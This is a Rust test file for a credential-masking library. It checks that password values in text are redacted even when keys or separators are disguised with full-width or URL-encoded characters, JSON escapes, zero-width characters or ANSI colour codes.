fn next_head_by_words(text: &str, from: usize, separator: Separator) -> Option<Head> {
    let gap: fn(char) -> bool = match separator {
        Separator::Colon => is_colon_gap,
        Separator::Equals => is_gap,
    };
    let mut start = from;
    while let Some(c) = text.get(start..).and_then(|rest| rest.chars().next()) {
        let after_key = text[..start].chars().next_back().is_some_and(is_key_char);
        let unit = key_unit(&text[start..]);
        if unit == 0 {
            start += c.len_utf8();
            continue;
        }
        if start > 0 && after_key {
            start += unit;
            continue;
        }
        let mut run = 0;
        loop {
            let unit = key_unit(&text[start + run..]);
            if unit == 0 {
                break;
            }
            run += unit;
        }
        // What trails the key before its separator is a gap, not part of the key,
        // unless a quote follows, which ends the key where it stands.
        let quoted = text[start + run..]
            .chars()
            .next()
            .is_some_and(is_closing_quote);
        let key_end = if quoted {
            start + run
        } else {
            start + trim_gap_end(&text[start..start + run], gap).len()
        };
        if key_end == start {
            start += run;
            continue;
        }
        if let Some(end) = separator_end(text, start, key_end, separator) {
            return Some(Head {
                start,
                key_end,
                end,
            });
        }
        start = key_end;
    }
    None
}

/// The bytes of the key character, `\uXXXX` escape or ANSI colour sequence at the start of `rest`, or 0.
fn key_unit(rest: &str) -> usize {
    let escaped = rest.starts_with("\\u")
        && rest
            .get(2..6)
            .is_some_and(|hex| hex.bytes().all(|b| b.is_ascii_hexdigit()));
    if escaped {
        return 6;
    }
    let sgr = sgr_len(rest);
    if sgr > 0 {
        return sgr;
    }
    rest.chars()
        .next()
        .filter(|&c| is_key_char(c))
        .map_or(0, char::len_utf8)
}

const HEAD_ALPHABET: &[&str] = &[
    "a", "key", "b1", "_", "-", ".", ":", "::", "=", "==", "=>", " ", "\t", "\"", "'", "\u{a0}",
    "\u{1c}", "é", "\n", ",", "{", "\u{202f}", "\u{201d}", "\u{201c}", "\u{5bc6}", "\u{662}",
    "\u{ff1a}", "\u{ff1d}", ":=", "%3D", "%3a", "\\u0061", "\\u00", "u0061", "\u{200b}", "\x1b[0m",
    "\x1b[3", "m",
];

proptest::proptest! {
    #![proptest_config(proptest::prelude::ProptestConfig::with_cases(20_000))]

    /// A key found from its separator is the key found by reading every word.
    #[test]
    fn a_head_read_back_from_its_separator_is_the_one_read_forward(
        parts in proptest::collection::vec(proptest::sample::select(HEAD_ALPHABET.to_vec()), 0..24)
    ) {
        let text = parts.concat();
        for from in (0..=text.len()).filter(|&i| text.is_char_boundary(i)) {
            for separator in [Separator::Colon, Separator::Equals] {
                let found = next_head(&text, from, separator).map(|h| (h.start, h.key_end, h.end));
                let by_words =
                    next_head_by_words(&text, from, separator).map(|h| (h.start, h.key_end, h.end));
                proptest::prop_assert_eq!(found, by_words, "{:?} from {} {:?}", text, from, separator);
            }
        }
    }
}

/// A separator written full-width, small, URL-encoded, as `=>` or as `:=`
/// holds a key and its value together as `:` and `=` do, and `==` still compares.
#[test]
fn a_separator_in_another_form_holds_the_key_and_value_together() {
    let rows: Vec<(&str, String)> = vec![
        (
            "password\u{ff1a}hunter2Zx9 end",
            format!("password\u{ff1a}{MASK} end"),
        ),
        (
            "password \u{ff1a} hunter2Zx9 end",
            format!("password \u{ff1a} {MASK} end"),
        ),
        (
            "password\u{fe55}hunter2Zx9 end",
            format!("password\u{fe55}{MASK} end"),
        ),
        (
            "password\u{fe13}hunter2Zx9 end",
            format!("password\u{fe13}{MASK} end"),
        ),
        (
            "password\u{ff1d}hunter2Zx9 end",
            format!("password\u{ff1d}{MASK} end"),
        ),
        (
            "password\u{fe66}hunter2Zx9 end",
            format!("password\u{fe66}{MASK} end"),
        ),
        (
            "password => hunter2Zx9 end",
            format!("password => {MASK} end"),
        ),
        ("password=>hunter2Zx9 end", format!("password=>{MASK} end")),
        (
            "{\"password\" => \"hunter2Zx9\"}",
            format!("{{\"password\" => {MASK}}}"),
        ),
        (
            "password := hunter2Zx9 end",
            format!("password := {MASK} end"),
        ),
        ("password:=hunter2Zx9 end", format!("password:={MASK} end")),
        (
            "password%3Dhunter2Zx9&x=1",
            format!("password%3D{MASK}&x=1"),
        ),
        (
            "password%3dhunter2Zx9 end",
            format!("password%3d{MASK} end"),
        ),
        (
            "password%3Ahunter2Zx9 end",
            format!("password%3A{MASK} end"),
        ),
        (
            "next=/login%3Fpassword%3Dhunter2%26user%3Dbob",
            format!("next=/login%3Fpassword%3D{MASK}"),
        ),
    ];
    for (text, want) in rows {
        assert_eq!(masked(text), want, "{text:?}");
    }
    for text in [
        "password == hunter2Zx9",
        "password==hunter2Zx9",
        "100%3D done",
        "keep%3A going",
        "user\u{ff1a}alice",
    ] {
        assert_eq!(masked(text), text);
    }
}

/// A JSON `\uXXXX` escape in a key spells the character it writes, in text and as a name.
#[test]
fn a_unicode_escape_in_a_key_spells_the_letter_it_writes() {
    let rows: Vec<(&str, String)> = vec![
        (
            "{\"p\\u0061ssword\": \"hunter2Zx9\"}",
            format!("{{\"p\\u0061ssword\": \"{MASK}\"}}"),
        ),
        (
            "{\"\\u0070\\u0061\\u0073\\u0073\\u0077\\u006f\\u0072\\u0064\": \"x1\"}",
            format!("{{\"\\u0070\\u0061\\u0073\\u0073\\u0077\\u006f\\u0072\\u0064\": \"{MASK}\"}}"),
        ),
        (
            "pa\\u0073sword=hunter2 end",
            format!("pa\\u0073sword={MASK} end"),
        ),
        (
            "db_\\u0050ASSWORD: hunter2 end",
            format!("db_\\u0050ASSWORD: {MASK} end"),
        ),
        (
            "{\"n\\u0061me\": \"alice\"}",
            "{\"n\\u0061me\": \"alice\"}".to_owned(),
        ),
    ];
    for (text, want) in rows {
        assert_eq!(masked(text), want, "{text:?}");
    }
    assert!(is_credential_name("p\\u0061ssword", ""));
    assert!(is_credential_name("P\\u0041SSWORD", ""));
    assert!(!is_credential_name("p\\u0061ssw", ""));
    // A pair of surrogate escapes is one character and a lone one is U+FFFD.
    assert_eq!(joined_words("a\\ud83d\\ude00b"), "a_b");
    assert_eq!(joined_words("a\\ud800b"), "a_b");
    assert_eq!(joined_words("a\\u00e9b"), "aeb");
    assert_eq!(joined_words("a\\u00zzb"), "a_u_00_zzb");
}

/// Characters that print nothing, inside a key or a value, hold it together in text.
#[test]
fn zero_width_and_bidi_characters_inside_a_key_or_a_value_do_not_split_it() {
    let ignorable = [
        '\u{200b}', '\u{200c}', '\u{200d}', '\u{200e}', '\u{200f}', '\u{202a}', '\u{202b}',
        '\u{202c}', '\u{202d}', '\u{202e}', '\u{2066}', '\u{2067}', '\u{2068}', '\u{2069}',
        '\u{ad}',
    ];
    for c in ignorable {
        for text in [
            format!("pass{c}word=hunter2 next"),
            format!("pass{c}word: hunter2 next"),
            format!("{{\"pass{c}word\": \"hunter2\"}}"),
        ] {
            let out = masked(&text);
            assert!(!out.contains("hunter2"), "{c:?}: {out:?}");
            assert!(out.contains(MASK), "{c:?}: {out:?}");
        }
        for (text, want) in [
            (
                format!("password=hun{c}ter2 next"),
                format!("password={MASK} next"),
            ),
            (
                format!("password: hun{c}ter2 next"),
                format!("password: {MASK} next"),
            ),
            (
                format!("password=hunter2{c} next"),
                format!("password={MASK} next"),
            ),
        ] {
            assert_eq!(masked(&text), want, "{c:?}: {text:?}");
        }
    }
}

/// An ANSI colour sequence between a key and its value or inside the key
/// leaves the value masked, and the sequence stays in the text.
#[test]
fn ansi_colour_sequences_around_a_key_and_value_do_not_hide_the_value() {
    for (text, want) in [
        (
            "password\x1b[0m=\x1b[31mhunter2\x1b[0m next".to_owned(),
            format!("password\x1b[0m=\x1b[31m{MASK} next"),
        ),
        (
            "pass\x1b[1mword=hunter2 next".to_owned(),
            format!("pass\x1b[1mword={MASK} next"),
        ),
        (
            "\x1b[1;31mpassword\x1b[0m: \x1b[33mhunter2\x1b[0m".to_owned(),
            format!("\x1b[1;31mpassword\x1b[0m: \x1b[33m{MASK}"),
        ),
        (
            "password\x1b[0m\x1b[1m = \x1b[0m\x1b[32mhunter2 next".to_owned(),
            format!("password\x1b[0m\x1b[1m = \x1b[0m\x1b[32m{MASK} next"),
        ),
        (
            "\x1b[2mpa\x1b[0mss\x1b[0mword\x1b[0m=hunter2 next".to_owned(),
            format!("\x1b[2mpa\x1b[0mss\x1b[0mword\x1b[0m={MASK} next"),
        ),
    ] {
        assert_eq!(masked(&text), want, "{text:?}");
    }
    // Only a colour sequence is skipped: a cursor movement is no gap.
    assert_eq!(masked("password\x1b[2K=hunter2"), "password\x1b[2K=hunter2");
    assert_eq!(joined_words("pass\x1b[1;32mword"), "password");
    assert!(is_credential_name("pass\x1b[0mword", ""));
}

/// A term with no letter or digit can't be spelt by any name, so it is an error.
#[test]
fn a_term_no_name_could_spell_is_a_build_error() {
    for term in ["", " ", "--", "_", "\u{200b}", "\u{301}", "\u{1b}[0m"] {
        let err = CredentialMatcher::new(["tenant", term]).unwrap_err();
        assert!(
            matches!(&err, ScrubError::CredentialTerm { term: t } if t == term),
            "{term:?}: {err:?}"
        );
        assert!(err.to_string().contains("no letter or digit"), "{term:?}");
    }
    // Every default term spells something.
    let mut buf = String::new();
    for term in SENSITIVE_FIELDS {
        assert!(!spelled(term, &mut buf).is_empty(), "{term}");
    }
}

/// A term is compared as a name is, through its skeleton and case folded, in any script.
#[test]
fn a_term_in_any_script_matches_as_a_name_does() {
    let matcher = CredentialMatcher::new([
        "\u{43f}\u{430}\u{440}\u{43e}\u{43b}\u{44c}",
        "\u{5bc6}\u{7801}",
        "geheim",
        "\u{3b2}\u{3ad}\u{3b2}\u{3b1}\u{3b9}\u{3bf}",
    ])
    .unwrap();
    for name in [
        "\u{43f}\u{430}\u{440}\u{43e}\u{43b}\u{44c}",
        "\u{41f}\u{410}\u{420}\u{41e}\u{41b}\u{42c}",
        "db_\u{43f}\u{430}\u{440}\u{43e}\u{43b}\u{44c}",
        "\u{5bc6}\u{7801}",
        "Geheim",
        "GEHEIM",
        "x-geheim",
    ] {
        assert!(matcher.matches(name, ""), "{name:?}");
        let line = format!("{name}=hunter2Zx9 end");
        assert_eq!(
            mask_text(&line, &matcher, MASK),
            format!("{name}={MASK} end"),
            "{name:?}"
        );
    }
    assert!(!matcher.matches("password", ""));
    // A combining mark reads as the letter it sits on, in a term and a name alike.
    let id = CredentialMatcher::new(["i\u{307}d"]).unwrap();
    for name in ["id", "ID", "i\u{307}d", "\u{130}d"] {
        assert!(id.matches(name, ""), "{name:?}");
    }
    assert!(!id.matches("idx", ""));
}

/// A plain text is ASCII with no `\` and no ESC, at any length and place of the odd byte.
#[test]
fn plain_text_is_ascii_with_no_backslash_or_escape() {
    let naive = |text: &[u8]| text.iter().all(|&b| b < 0x80 && b != b'\\' && b != 0x1b);
    for len in 0..=130 {
        let clean = vec![b'a'; len];
        assert!(is_plain(&clean), "{len}");
        for at in 0..len {
            for odd in [
                0, b' ', 0x1a, 0x1b, 0x1c, b'[', b'\\', b']', 0x7f, 0x80, 0xc3, 0xff,
            ] {
                let mut text = clean.clone();
                text[at] = odd;
                assert_eq!(is_plain(&text), naive(&text), "{len} {at} {odd:#x}");
            }
        }
    }
}

/// Whether a name may spell a term reads the same with or without the caller's word that it is plain.
#[test]
fn a_name_that_may_spell_a_term_reads_the_same_when_told_it_is_plain() {
    let matcher = CredentialMatcher::default_terms();
    for name in [
        "ts",
        "level",
        "attr_17",
        "api_token",
        "PGPASSWORD",
        "x-api-key",
        "pass word",
        "a very long name that goes on for well past the length a vector scan reads in one go",
        "a very long name that goes on for well past the length a vector scan reads: password",
    ] {
        assert_eq!(
            matcher.may_name_in(name, false),
            matcher.may_name_in(name, true),
            "{name}"
        );
    }
}